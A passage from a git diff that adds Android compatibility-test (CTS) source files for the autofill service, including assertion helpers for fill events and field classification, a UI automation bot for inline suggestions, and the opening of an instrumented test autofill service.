+     * Asserts the content of a {@link FillEventHistory#getClientState()}.
+     *
+     * @param history event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    @SuppressWarnings("javadoc")
+    public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
+            @NonNull String key, @NonNull String value) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertClientState(history, clientState, key, value);
+    }
+
+    /**
+     * Asserts the {@link FillEventHistory#getClientState()} is not set.
+     *
+     * @param history event to be asserted
+     */
+    @SuppressWarnings("javadoc")
+    public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertWithMessage("History '%s' should not have client state", history)
+             .that(clientState).isNull();
+    }
+
+    /**
+     * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
+     *
+     * @param event event to be asserted
+     * @param eventType expected type
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
+     * have client state)
+     * @param value the only value expected in the client state bundle (or {@code null} if it
+     * shouldn't have client state)
+     * @param fieldClassificationResults expected results when asserting field classification
+     */
+    private static void assertFillEvent(@NonNull FillEventHistory.Event event,
+            int eventType, @Nullable String datasetId,
+            @Nullable String key, @Nullable String value,
+            @Nullable FieldClassificationResult[] fieldClassificationResults) {
+        assertThat(event).isNotNull();
+        assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
+        if (datasetId == null) {
+            assertWithMessage("Event %s should not have dataset id", event)
+                .that(event.getDatasetId()).isNull();
+        } else {
+            assertWithMessage("Wrong dataset id for %s", event)
+                .that(event.getDatasetId()).isEqualTo(datasetId);
+        }
+        final Bundle clientState = event.getClientState();
+        if (key == null) {
+            assertWithMessage("Event '%s' should not have client state", event)
+                .that(clientState).isNull();
+        } else {
+            assertClientState(event, clientState, key, value);
+        }
+        assertWithMessage("Event '%s' should not have selected datasets", event)
+                .that(event.getSelectedDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have ignored datasets", event)
+                .that(event.getIgnoredDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have changed fields", event)
+                .that(event.getChangedFields()).isEmpty();
+        assertWithMessage("Event '%s' should not have manually-entered fields", event)
+                .that(event.getManuallyEnteredField()).isEmpty();
+        final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
+        if (fieldClassificationResults == null) {
+            assertThat(detectedFields).isEmpty();
+        } else {
+            assertThat(detectedFields).hasSize(fieldClassificationResults.length);
+            int i = 0;
+            for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
+                assertMatches(i, entry, fieldClassificationResults[i]);
+                i++;
+            }
+        }
+    }
+
+    private static void assertMatches(int i, Entry<AutofillId, FieldClassification> actualResult,
+            FieldClassificationResult expectedResult) {
+        assertWithMessage("Wrong field id at index %s", i).that(actualResult.getKey())
+                .isEqualTo(expectedResult.id);
+        final List<Match> matches = actualResult.getValue().getMatches();
+        assertWithMessage("Wrong number of matches: " + matches).that(matches.size())
+                .isEqualTo(expectedResult.categoryIds.length);
+        for (int j = 0; j < matches.size(); j++) {
+            final Match match = matches.get(j);
+            assertWithMessage("Wrong categoryId at (%s, %s): %s", i, j, match)
+                .that(match.getCategoryId()).isEqualTo(expectedResult.categoryIds[j]);
+            assertWithMessage("Wrong score at (%s, %s): %s", i, j, match)
+                .that(match.getScore()).isWithin(0.01f).of(expectedResult.scores[j]);
+        }
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @Nullable String key, @Nullable String value) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
+            @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
+     * event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+    }
+
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull AutofillId fieldId, @NonNull String categoryId, float score) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId, categoryId, score)
+                });
+    }
+
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull FieldClassificationResult[] results) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, results);
+    }
+
+    public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null);
+    }
+
+    @NonNull
+    public static String getActivityName(List<FillContext> contexts) {
+        if (contexts == null) return "N/A (null contexts)";
+
+        if (contexts.isEmpty()) return "N/A (empty contexts)";
+
+        final AssistStructure structure = contexts.get(contexts.size() - 1).getStructure();
+        if (structure == null) return "N/A (no AssistStructure)";
+
+        final ComponentName componentName = structure.getActivityComponent();
+        if (componentName == null) return "N/A (no component name)";
+
+        return componentName.flattenToShortString();
+    }
+
+    public static void assertFloat(float actualValue, float expectedValue) {
+        assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
+    }
+
+    public static void assertHasFlags(int actualFlags, int expectedFlags) {
+        assertWithMessage("Flags %s not in %s", expectedFlags, actualFlags)
+                .that(actualFlags & expectedFlags).isEqualTo(expectedFlags);
+    }
+
+    public static String callbackEventAsString(int event) {
+        switch (event) {
+            case AutofillCallback.EVENT_INPUT_HIDDEN:
+                return "HIDDEN";
+            case AutofillCallback.EVENT_INPUT_SHOWN:
+                return "SHOWN";
+            case AutofillCallback.EVENT_INPUT_UNAVAILABLE:
+                return "UNAVAILABLE";
+            default:
+                return "UNKNOWN:" + event;
+        }
+    }
+
+    public static String importantForAutofillAsString(int mode) {
+        switch (mode) {
+            case View.IMPORTANT_FOR_AUTOFILL_AUTO:
+                return "IMPORTANT_FOR_AUTOFILL_AUTO";
+            case View.IMPORTANT_FOR_AUTOFILL_YES:
+                return "IMPORTANT_FOR_AUTOFILL_YES";
+            case View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS:
+                return "IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS";
+            case View.IMPORTANT_FOR_AUTOFILL_NO:
+                return "IMPORTANT_FOR_AUTOFILL_NO";
+            case View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS:
+                return "IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS";
+            default:
+                return "UNKNOWN:" + mode;
+        }
+    }
+
+    public static boolean hasHint(@Nullable String[] hints, @Nullable Object expectedHint) {
+        if (hints == null || expectedHint == null) return false;
+        for (String actualHint : hints) {
+            if (expectedHint.equals(actualHint)) return true;
+        }
+        return false;
+    }
+
+    public static Bundle newClientState(String key, String value) {
+        final Bundle clientState = new Bundle();
+        clientState.putString(key, value);
+        return clientState;
+    }
+
+    public static void assertAuthenticationClientState(String where, Bundle data,
+            String expectedKey, String expectedValue) {
+        assertWithMessage("no client state on %s", where).that(data).isNotNull();
+        final String extraValue = data.getString(expectedKey);
+        assertWithMessage("invalid value for %s on %s", expectedKey, where)
+                .that(extraValue).isEqualTo(expectedValue);
+    }
+
+    /**
+     * Asserts that 2 bitmaps have are the same. If they aren't throws an exception and dump them
+     * locally so their can be visually inspected.
+     *
+     * @param filename base name of the files generated in case of error
+     * @param bitmap1 first bitmap to be compared
+     * @param bitmap2 second bitmap to be compared
+     */
+    // TODO: move to common code
+    public static void assertBitmapsAreSame(@NonNull String filename, @Nullable Bitmap bitmap1,
+            @Nullable Bitmap bitmap2) throws IOException {
+        assertWithMessage("1st bitmap is null").that(bitmap1).isNotNull();
+        assertWithMessage("2nd bitmap is null").that(bitmap2).isNotNull();
+        final boolean same = bitmap1.sameAs(bitmap2);
+        if (same) {
+            Log.v(TAG, "bitmap comparison passed for " + filename);
+            return;
+        }
+
+        final File dir = getLocalDirectory();
+        if (dir == null) {
+            throw new AssertionError("bitmap comparison failed for " + filename
+                    + ", and bitmaps could not be dumped on " + dir);
+        }
+        final File dump1 = dumpBitmap(bitmap1, dir, filename + "-1.png");
+        final File dump2 = dumpBitmap(bitmap2, dir, filename + "-2.png");
+        throw new AssertionError(
+                "bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
+    }
+
+    @Nullable
+    private static File getLocalDirectory() {
+        final File dir = new File(LOCAL_DIRECTORY);
+        dir.mkdirs();
+        if (!dir.exists()) {
+            Log.e(TAG, "Could not create directory " + dir);
+            return null;
+        }
+        return dir;
+    }
+
+    @Nullable
+    private static File createFile(@NonNull File dir, @NonNull String filename) throws IOException {
+        final File file = new File(dir, filename);
+        if (file.exists()) {
+            Log.v(TAG, "Deleting file " + file);
+            file.delete();
+        }
+        if (!file.createNewFile()) {
+            Log.e(TAG, "Could not create file " + file);
+            return null;
+        }
+        return file;
+    }
+
+    @Nullable
+    private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
+            @NonNull String filename) throws IOException {
+        final File file = createFile(dir, filename);
+        if (file != null) {
+            dumpBitmap(bitmap, file);
+
+        }
+        return file;
+    }
+
+    @Nullable
+    public static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File file) {
+        Log.i(TAG, "Dumping bitmap at " + file);
+        BitmapUtils.saveBitmap(bitmap, file.getParent(), file.getName());
+        return file;
+    }
+
+    /**
+     * Creates a file in the device, using the name of the current test as a prefix.
+     */
+    @Nullable
+    public static File createTestFile(@NonNull String name) throws IOException {
+        final File dir = getLocalDirectory();
+        if (dir == null) return null;
+
+        final String prefix = TestNameUtils.getCurrentTestName().replaceAll("\\.|\\(|\\/", "_")
+                .replaceAll("\\)", "");
+        final String filename = prefix + "-" + name;
+
+        return createFile(dir, filename);
+    }
+
+    /**
+     * Offers an object to a queue or times out.
+     *
+     * @return {@code true} if the offer was accepted, {$code false} if it timed out or was
+     * interrupted.
+     */
+    public static <T> boolean offer(BlockingQueue<T> queue, T obj, long timeoutMs) {
+        boolean offered = false;
+        try {
+            offered = queue.offer(obj, timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Log.w(TAG, "interrupted offering", e);
+            Thread.currentThread().interrupt();
+        }
+        if (!offered) {
+            Log.e(TAG, "could not offer " + obj + " in " + timeoutMs + "ms");
+        }
+        return offered;
+    }
+
+    /**
+     * Calls this method to assert given {@code string} is equal to {@link #LARGE_STRING}, as
+     * comparing its value using standard assertions might ANR.
+     */
+    public static void assertEqualsToLargeString(@NonNull String string) {
+        assertThat(string).isNotNull();
+        assertThat(string).hasLength(LARGE_STRING_SIZE);
+        assertThat(string.charAt(0)).isEqualTo(LARGE_STRING_CHAR);
+        assertThat(string.charAt(LARGE_STRING_SIZE - 1)).isEqualTo(LARGE_STRING_CHAR);
+    }
+
+    /**
+     * Asserts that autofill is enabled in the context, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
+            throws Exception {
+        assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
+    }
+
+    /**
+     * Asserts that autofill is enabled in the manager, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
+            throws Exception {
+        Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
+            final boolean actual = afm.isEnabled();
+            Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
+            return actual == expected ? "not_used" : null;
+        });
+    }
+
+    /**
+     * Asserts these autofill ids are the same, except for the session.
+     */
+    public static void assertEqualsIgnoreSession(@NonNull AutofillId id1, @NonNull AutofillId id2) {
+        assertWithMessage("id1 is null").that(id1).isNotNull();
+        assertWithMessage("id2 is null").that(id2).isNotNull();
+        assertWithMessage("%s is not equal to %s", id1, id2).that(id1.equalsIgnoreSession(id2))
+                .isTrue();
+    }
+
+    /**
+     * Asserts {@link View#isAutofilled()} state of the given view, waiting if necessarity to avoid
+     * race conditions.
+     */
+    public static void assertViewAutofillState(@NonNull View view, boolean expected)
+            throws Exception {
+        Timeouts.FILL_TIMEOUT.run("assertViewAutofillState(" + view + ", " + expected + ")",
+                () -> {
+                    final boolean actual = view.isAutofilled();
+                    Log.v(TAG, "assertViewAutofillState(): expected=" + expected + ", actual="
+                            + actual);
+                    return actual == expected ? "not_used" : null;
+                });
+    }
+
+    /**
+     * Allows the test to draw overlaid windows.
+     *
+     * <p>Should call {@link #disallowOverlays()} afterwards.
+     */
+    public static void allowOverlays() {
+        ShellUtils.setOverlayPermissions(MY_PACKAGE, true);
+    }
+
+    /**
+     * Disallow the test to draw overlaid windows.
+     *
+     * <p>Should call {@link #disallowOverlays()} afterwards.
+     */
+    public static void disallowOverlays() {
+        ShellUtils.setOverlayPermissions(MY_PACKAGE, false);
+    }
+
+    public static RemoteViews createPresentation(String message) {
+        final RemoteViews presentation = new RemoteViews(getContext()
+                .getPackageName(), R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, message);
+        return presentation;
+    }
+
+    public static InlinePresentation createInlinePresentation(String message) {
+        final PendingIntent dummyIntent = PendingIntent.getActivity(getContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        return createInlinePresentation(message, dummyIntent, false);
+    }
+
+    public static InlinePresentation createInlinePresentation(String message,
+            PendingIntent attribution) {
+        return createInlinePresentation(message, attribution, false);
+    }
+
+    public static InlinePresentation createPinnedInlinePresentation(String message) {
+        final PendingIntent dummyIntent = PendingIntent.getActivity(getContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        return createInlinePresentation(message, dummyIntent, true);
+    }
+
+    private static InlinePresentation createInlinePresentation(@NonNull String message,
+            @NonNull PendingIntent attribution, boolean pinned) {
+        return new InlinePresentation(
+                InlineSuggestionUi.newContentBuilder(attribution)
+                        .setTitle(message).build().getSlice(),
+                new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
+                        .build(), /* pinned= */ pinned);
+    }
+
+    public static InlinePresentation createInlineTooltipPresentation(
+            @NonNull String message) {
+        final PendingIntent dummyIntent = PendingIntent.getActivity(getContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        return createInlineTooltipPresentation(message, dummyIntent);
+    }
+
+    private static InlinePresentation createInlineTooltipPresentation(
+            @NonNull String message, @NonNull PendingIntent attribution) {
+        return InlinePresentation.createTooltipPresentation(
+                InlineSuggestionUi.newContentBuilder(attribution)
+                        .setTitle(message).build().getSlice(),
+                new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
+                        .build());
+    }
+
+    public static void mockSwitchInputMethod(@NonNull Context context) throws Exception {
+        final ContentResolver cr = context.getContentResolver();
+        final int subtype = Settings.Secure.getInt(cr, SELECTED_INPUT_METHOD_SUBTYPE);
+        Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
+    }
+
+    /**
+     * Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+     */
+    public static void resetApplicationAutofillOptions(@NonNull Context context) {
+        AutofillOptions options = AutofillOptions.forWhitelistingItself();
+        options.augmentedAutofillEnabled = false;
+        context.getApplicationContext().setAutofillOptions(options);
+    }
+
+    /**
+     * Clear AutofillOptions.
+     */
+    public static void clearApplicationAutofillOptions(@NonNull Context context) {
+        context.getApplicationContext().setAutofillOptions(null);
+    }
+
+    private Helper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+
+    public static class FieldClassificationResult {
+        public final AutofillId id;
+        public final String[] categoryIds;
+        public final float[] scores;
+
+        public FieldClassificationResult(@NonNull AutofillId id, @NonNull String categoryId,
+                float score) {
+            this(id, new String[]{categoryId}, new float[]{score});
+        }
+
+        public FieldClassificationResult(@NonNull AutofillId id, @NonNull String[] categoryIds,
+                float[] scores) {
+            this.id = id;
+            this.categoryIds = categoryIds;
+            this.scores = scores;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java
new file mode 100644
index 0000000..6d54d0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+/**
+ * Enum used to explain the meaning of node ids used by test cases.
+ */
+public enum IdMode {
+    RESOURCE_ID,
+    HTML_NAME,
+    HTML_NAME_OR_RESOURCE_ID
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
new file mode 100644
index 0000000..50892fc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
+import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
+
+import android.content.pm.PackageManager;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
+import android.support.test.uiautomator.UiObject2;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.Timeout;
+import com.android.cts.mockime.MockIme;
+
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/**
+ * UiBot for the inline suggestion.
+ */
+public final class InlineUiBot extends UiBot {
+
+    private static final String TAG = "AutoFillInlineCtsUiBot";
+    public static final String SUGGESTION_STRIP_DESC = "MockIme Inline Suggestion View";
+
+    private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
+
+    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
+            PackageManager.FEATURE_INPUT_METHODS);
+
+    public InlineUiBot() {
+        this(UI_TIMEOUT);
+    }
+
+    public InlineUiBot(Timeout defaultTimeout) {
+        super(defaultTimeout);
+    }
+
+    public static RuleChain annotateRule(TestRule rule) {
+        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
+    }
+
+    @Override
+    public void assertNoDatasets() throws Exception {
+        assertNoDatasetsEver();
+    }
+
+    @Override
+    public void assertNoDatasetsEver() throws Exception {
+        assertNeverShown("suggestion strip", SUGGESTION_STRIP_SELECTOR,
+                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
+     */
+    public void selectSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+        dataset.click();
+    }
+
+    @Override
+    public void selectDataset(String name) throws Exception {
+        selectSuggestion(name);
+    }
+
+    @Override
+    public void longPressSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+        dataset.click(LONG_PRESS_MS);
+    }
+
+    @Override
+    public UiObject2 assertDatasets(String...names) throws Exception {
+        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
+        return assertDatasets(picker, names);
+    }
+
+    @Override
+    public void assertSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void assertNoSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset != null) {
+            throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        strip.fling(direction, speed);
+    }
+
+    public void assertTooltipShowing(String text) throws Exception {
+        final UiObject2 strip = waitForObject(By.text(text), UI_TIMEOUT);
+        if (strip == null) {
+            throw new AssertionError("not find inline tooltip by text: " + text);
+        }
+    }
+
+    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
+        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java
new file mode 100644
index 0000000..0903236
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java
@@ -0,0 +1,737 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.FAILURE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.NULL;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.TIMEOUT;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.getActivityName;
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_EVENTS_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.IDLE_UNBIND_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.RESPONSE_DELAY_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.CannedFillResponse.ResponseType;
+import android.content.ComponentName;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.SystemClock;
+import android.service.autofill.AutofillService;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveCallback;
+import android.util.Log;
+import android.view.inputmethod.InlineSuggestionsRequest;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link AutofillService} used in the tests.
+ */
+public class InstrumentedAutoFillService extends AutofillService {
+
+    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
+    public static final String SERVICE_CLASS = "InstrumentedAutoFillService";
+
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    public static String sServiceLabel = SERVICE_CLASS;
+
+    // TODO(b/125844305): remove once fixed
+    private static final boolean FAIL_ON_INVALID_CONNECTION_STATE = false;
+
+    private static final String TAG = "InstrumentedAutoFillService";
+
+    private static final boolean DUMP_FILL_REQUESTS = false;
+    private static final boolean DUMP_SAVE_REQUESTS = false;
+
+    protected static final AtomicReference<InstrumentedAutoFillService> sInstance =
+            new AtomicReference<>();
+    private static final Replier sReplier = new Replier();
+
+    private static AtomicBoolean sConnected = new AtomicBoolean(false);
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyServiceThread");
+    private final Handler mHandler;
+
+    private boolean mConnected;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public InstrumentedAutoFillService() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+        sReplier.setHandler(mHandler);
+    }
+
+    private static InstrumentedAutoFillService peekInstance() {
+        return sInstance.get();
+    }
+
+    /**
+     * Gets the list of fill events in the {@link FillEventHistory}, waiting until it has the
+     * expected size.
+     */
